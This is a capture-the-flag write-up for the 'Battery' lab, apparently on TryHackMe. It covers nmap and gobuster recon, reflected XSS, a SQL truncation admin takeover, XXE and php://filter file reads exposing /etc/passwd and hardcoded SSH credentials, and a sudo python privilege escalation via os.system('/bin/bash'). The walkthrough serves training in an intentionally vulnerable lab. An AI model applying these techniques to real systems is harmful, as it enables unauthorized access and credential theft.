LAB:** Battery
DIFFICULTY: Medium
TARGET: flag1.txt, flag2.txt, root.txt
TOOLS: Nmap, Gobuster, BurpSuite
VULNERABLE: SQL Truncation Attack, XML External Entity Injection
First, let's do some recon using NMAP:
- -sC - Default script scan
- -sV - Version detection
- -O - OS detection
sudo nmap -sC -sV -O {LABS_IP_ADDRESS}
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-22 22:13 +0800
Nmap scan report for {LABS_IP_ADDRESS}
Host is up (0.28s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 (DSA)
| 2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 (RSA)
| 256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b (ECDSA)
|_ 256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=5/22%OT=22%CT=1%CU=34654%PV=Y%DS=3%DC=I%G=Y%TM=6A1064C
OS:3%P=x86_64-apple-darwin23.6.0)SEQ(SP=102%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS
OS:=8)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)SEQ(SP=105%GCD=1%ISR=10D
OS:%TI=Z%CI=I%II=I%TS=8)SEQ(SP=108%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)SEQ(SP
OS:=108%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(O1=M4E8ST11NW6%O2=M4E8ST11NW6
OS:%O3=M4E8NNT11NW6%O4=M4E8ST11NW6%O5=M4E8ST11NW6%O6=M4E8ST11)WIN(W1=68DF%W
OS:2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M4E8NN
OS:SNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y
OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G
OS:%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.38 seconds
Here we got open ports: ssh/22 & http/80
Now, i'm going to check whats in port 80:
Here we have a webpage but nothing interesting here. So we need to use Gobuster to find hidden directories.
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://{LABS_IP_ADDRESS}/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: Documents/pentesting/SecLists-master/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htaccess (Status: 403) [Size: 288]
.hta (Status: 403) [Size: 283]
.htpasswd (Status: 403) [Size: 288]
**admin.php (Status: 200) [Size: 663]**
index.html (Status: 200) [Size: 406]
**report (Status: 200) [Size: 16912]**
**scripts (Status: 301) [Size: 313] [--> http://{LABS_IP_ADDRESS}/scripts/]**
server-status (Status: 403) [Size: 292]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================
We got 3 directories to check. Let's start with /admin.php.
I tried some fake credentials to make sure if it has Information Disclosure, Rate Limiting, or SQL Injection. But what I found instead is that the login page has a 12-character input limit on the username field. We will come back here but first let's register and check how admin panel looks like.
I discovered reflected XSS in the Account Number parameter of the Transfer Money endpoint. The app fails to encode or validate my input before reflecting it in the HTTP response. This allowed me to execute alert(document.cookie) and view John's (which we registered as) session cookie.
I also discovered that the app is vulnerable to HTML injection. By inserting HTML tags into the input field, I was able to alter the page's content and inject custom messages — including the 'HACKED!!!' notice shown in the transaction failure message.
Before diving deeper, let's check what we got in /report.
When you visit http://{LABS_IP_ADDRESS}/report it gives you a file called report. It's an executable file. We can just hit strings or go with Ghidra. I always start with simple, so let's use strings:
/lib64/ld-linux-x86-64.so.2
__isoc99_scanf
puts
printf
system
__cxa_finalize
strcmp
__libc_start_main
libc.so.6
GLIBC_2.7
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
admin@bank.a
Password Updated Successfully!
Sorry you can't update the password
Welcome Guest
===================Available Options==============
1. Check users
2. Add user
3. Delete user
4. change password
5. Exit
clear
===============List of active users================
support@bank.a
contact@bank.a
cyber@bank.a
admins@bank.a
sam@bank.a
admin0@bank.a
super_user@bank.a
control_admin@bank.a
it_admin@bank.a
Welcome To ABC DEF Bank Managemet System!
UserName :
Password :
guest
Your Choice :
email :
not available for guest account
Wrong option
Wrong username or password
;*3$"
GCC: (Debian 9.3.0-15) 9.3.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7452
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
report.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
update
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
options
system@@GLIBC_2.2.5
users
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
We have active users listed here.
support@bank.a
contact@bank.a
cyber@bank.a
admins@bank.a
sam@bank.a
admin0@bank.a
super_user@bank.a
control_admin@bank.a
it_admin@bank.a
But first let's check how the system works using Ghidra.
I found a hardcoded admin email (admin@bank.a) inside the update() function. The code compares whatever email I give it with that hardcoded value. If they match, I get to update the password. If not, I'm denied. This means anyone can extract this email from the binary (using Ghidra or strings) and then use it to gain admin access — no authentication needed. Now still we need password to login.
Remember that we had some flaws. We found that there is 12-character limitation in login form. We can use it to register as admin@bank.a . We're going take advantage of SQL Truncation Flaw.
IMPORTANT !
First take time to understand the attack.
HOW SQL Truncation Flaw WORKS?
- The database or application cuts off (truncates) your input after a certain length, and an attacker uses this to bypass security checks.
The Attack!
- The attacker adds extra characters (like spaces) beyond the column limit so the application checks the full input (safe), but the database only stores the truncated portion which is dangerous, allowing the attacker to inject forbidden values like duplicate usernames or escalate privileges.
In our case:
-
admin@bank.a______xxxgets truncated toadmin@bank.a, allowing us to reset the admin's password and login as admin.
Now let's HACK ;)
We go to register page and enter following credentials:
username: admin@bank.a_____xxx -> (spaces after admin as you wish)
password: YourPasswordHere
Now my favorite part.
Let's use BurpSuite.
You can use Chromium in BurpSuite or FoxyProxy to capture the request. Go to Proxy tab in BurpSuite and Intercept the request to modify it.
After forwarding the request, we logged in as admin.
If we go to command tab, there is another form. Let's check what happens in the background.If we go to command tab, there is another form. Let's check what happens in the background.
This is an XML request. Let's simply try XXE (XML External Entity).
After sending request. It shows us Linux system file that stores user account information.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
yash:x:1002:1002:,,,:/home/yash:/bin/bash
Looking that we got usernames called cyber and yash. We can login SSH server using this credentials.
But first, I couldn't read /acc.php directly because the server executes PHP files instead of returning their source code. So I used php://filter/convert.base64-encode/resource= to read the file as Base64-encoded text, then decoded it to see the actual PHP code and look for passwords.
PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlPgpmb3JtCnsKICBib3JkZXI6IDJweCBzb2xpZCBibGFjazsKICBvdXRsaW5lOiAjNENBRjUwIHNvbGlkIDNweDsKICBtYXJnaW46IGF1dG87CiAgd2lkdGg6MTgwcHg7CiAgcGFkZGluZzogMjBweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgp1bCB7CiAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwogIG92ZXJmbG93OiBoaWRkZW47CiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKfQoKbGkgewogIGZsb2F0OiBsZWZ0OwogIGJvcmRlci1yaWdodDoxcHggc29saWQgI2JiYjsKfQoKbGk6bGFzdC1jaGlsZCB7CiAgYm9yZGVyLXJpZ2h0OiBub25lOwp9CgpsaSBhIHsKICBkaXNwbGF5OiBibG9jazsKICBjb2xvcjogd2hpdGU7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIHBhZGRpbmc6IDE0cHggMTZweDsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KCmxpIGE6aG92ZXI6bm90KC5hY3RpdmUpIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTExOwp9CgouYWN0aXZlIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiBibHVlOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8dWw+CiAgPGxpPjxhIGhyZWY9ImRhc2hib2FyZC5waHAiPkRhc2hib2FyZDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJ3aXRoLnBocCI+V2l0aGRyYXcgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iZGVwby5waHAiPkRlcG9zaXQgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0idHJhLnBocCI+VHJhbnNmZXIgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iYWNjLnBocCI+TXkgQWNjb3VudDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJmb3Jtcy5waHAiPmNvbW1hbmQ8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0ibG9nb3V0LnBocCI+TG9nb3V0PC9hPjwvbGk+CiAgPGxpIHN0eWxlPSJmbG9hdDpyaWdodCI+PGEgaHJlZj0iY29udGFjdC5waHAiPkNvbnRhY3QgVXM8L2E+PC9saT4KPC91bD48YnI+PGJyPjxicj48YnI+Cgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgpzZXNzaW9uX3N0YXJ0KCk7CmlmKGlzc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSkgYW5kICRfU0VTU0lPTlsnZmF2Y29sb3InXT09PSJhZG1pbkBiYW5rLmEiKQp7CgplY2hvICI8aDMgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+V2VjbG9tZSB0byBBY2NvdW50IGNvbnRyb2wgcGFuZWw8L2gzPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdBY2NvdW50IG51bWJlcicgbmFtZT0nYWNubyc+IjsKZWNobyAiPGJyPjxicj48YnI+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdNZXNzYWdlJyBuYW1lPSdtc2cnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTZW5kJyBuYW1lPSdidG4nPiI7CmVjaG8gIjwvZm9ybT4iOwovL01ZIENSRURTIDotIGN5YmVyOnN1cGVyI3NlY3VyZSZwYXNzd29yZCEKaWYoaXNzZXQoJF9QT1NUWydidG4nXSkpCnsKJG1zPSRfUE9TVFsnbXNnJ107CmVjaG8gIm1zOiIuJG1zOwppZigkbXM9PT0iaWQiKQp7CnN5c3RlbSgkbXMpOwp9CmVsc2UgaWYoJG1zPT09Indob2FtaSIpCnsKc3lzdGVtKCRtcyk7Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1JDRSBEZXRlY3RlZCEnKTwvc2NyaXB0PiI7CnNlc3Npb25fZGVzdHJveSgpOwp1bnNldCgkX1NFU1NJT05bJ2ZhdmNvbG9yJ10pOwpoZWFkZXIoIlJlZnJlc2g6IDAuMTsgdXJsPWluZGV4Lmh0bWwiKTsKfQp9Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ09ubHkgQWRtaW5zIGNhbiBhY2Nlc3MgdGhpcyBwYWdlIScpPC9zY3JpcHQ+IjsKc2Vzc2lvbl9kZXN0cm95KCk7CnVuc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSk7CmhlYWRlcigiUmVmcmVzaDogMC4xOyB1cmw9aW5kZXguaHRtbCIpOwp9Cj8+Cg==
Now lets decode it (you can use online decoders just browsing it).
<!DOCTYPE html>
<html>
<head>
<style>
form
{
border: 2px solid black;
outline: #4CAF50 solid 3px;
margin: auto;
width:180px;
padding: 20px;
text-align: center;
}
ul {
list-style-type: none;
margin: 0;
padding: 0;
overflow: hidden;
background-color: #333;
}
li {
float: left;
border-right:1px solid #bbb;
}
li:last-child {
border-right: none;
}
li a {
display: block;
color: white;
text-align: center;
padding: 14px 16px;
text-decoration: none;
}
li a:hover:not(.active) {
background-color: #111;
}
.active {
background-color: blue;
}
</style>
</head>
<body>
<ul>
<li><a href="dashboard.php">Dashboard</a></li>
<li><a href="with.php">Withdraw Money</a></li>
<li><a href="depo.php">Deposit Money</a></li>
<li><a href="tra.php">Transfer Money</a></li>
<li><a href="acc.php">My Account</a></li>
<li><a href="forms.php">command</a></li>
<li><a href="logout.php">Logout</a></li>
<li style="float:right"><a href="contact.php">Contact Us</a></li>
</ul><br><br><br><br>
</body>
</html>
<?php
session_start();
if(isset($_SESSION['favcolor']) and $_SESSION['favcolor']==="admin@bank.a")
{
echo "<h3 style='text-align:center;'>Weclome to Account control panel</h3>";
echo "<form method='POST'>";
echo "<input type='text' placeholder='Account number' name='acno'>";
echo "<br><br><br>";
echo "<input type='text' placeholder='Message' name='msg'>";
echo "<input type='submit' value='Send' name='btn'>";
echo "</form>";
//MY CREDS :- cyber:super#secure&password!
if(isset($_POST['btn']))
{
$ms=$_POST['msg'];
echo "ms:".$ms;
if($ms==="id")
{
system($ms);
}
else if($ms==="whoami")
{
system($ms);
}
else
{
echo "<script>alert('RCE Detected!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
}
}
else
{
echo "<script>alert('Only Admins can access this page!')</script>";
session_destroy();
unset($_SESSION['favcolor']);
header("Refresh: 0.1; url=index.html");
}
?>
Here we have: //MY CREDS :- cyber:super#secure&password!
Now let's try to login using SSH.
After logged in, we have flag1.txt. Now lets find others. We got also python file called run.py. But it requires admin privilege. So let's keep digging.
drwx------ 3 cyber cyber 4096 Nov 17 2020 .
drwxr-xr-x 4 root root 4096 Nov 16 2020 ..
-rw------- 1 cyber cyber 0 Nov 17 2020 .bash_history
-rw-r--r-- 1 cyber cyber 220 Nov 9 2020 .bash_logout
-rw-r--r-- 1 cyber cyber 3637 Nov 9 2020 .bashrc
drwx------ 2 cyber cyber 4096 Nov 9 2020 .cache
-rw--w---- 1 cyber cyber 85 Nov 15 2020 flag1.txt
-rw-r--r-- 1 cyber cyber 675 Nov 9 2020 .profile
-rwx------ 1 root root 349 Nov 15 2020 run.py
We don't have other interesting files but but run.py. Now let's run sudo -l and check what permissions does Cyber has.
Matching Defaults entries for cyber on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cyber may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py
Looking the output, if we can edit or change the run.py file, we can run any python file as root.
cyber@ubuntu:~$ ls -la /home/cyber/run.py
-rwx------ 1 root root 349 Nov 15 2020 /home/cyber/run.py
The owner of the file is root. But we can edit or run files with sudo rights. So, let's create new run.py and use it to get root access.
First, you can run mv run.py run.py.hack and create new file and run.
cyber@ubuntu:~$ vim run.py
cyber@ubuntu:~$ cat run.py
import os
os.system("/bin/bash")
cyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/run.py
root@ubuntu:~#
If we go to /home/yash we got flag2.txt. There is also root.txt in the same folder but it throws a message. Let's go to /root and finish the lab.
root@ubuntu:/# cd root/
root@ubuntu:/root# ls
root.txt
root@ubuntu:/root# cat root.txt
████████████████████████████████████
██ ██
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ██
████████████████████████████████████
battery designed by cyberbot :)
Please give your reviews on catch_me75@protonmail.com or discord cyberbot#1859
THM{ROOT_FLAG}
Hope you found it useful. If you have any other questions. I'm happy to help!!
https://www.linkedin.com/in/mikail-kakabayev
HAPPY HACKING !!!








































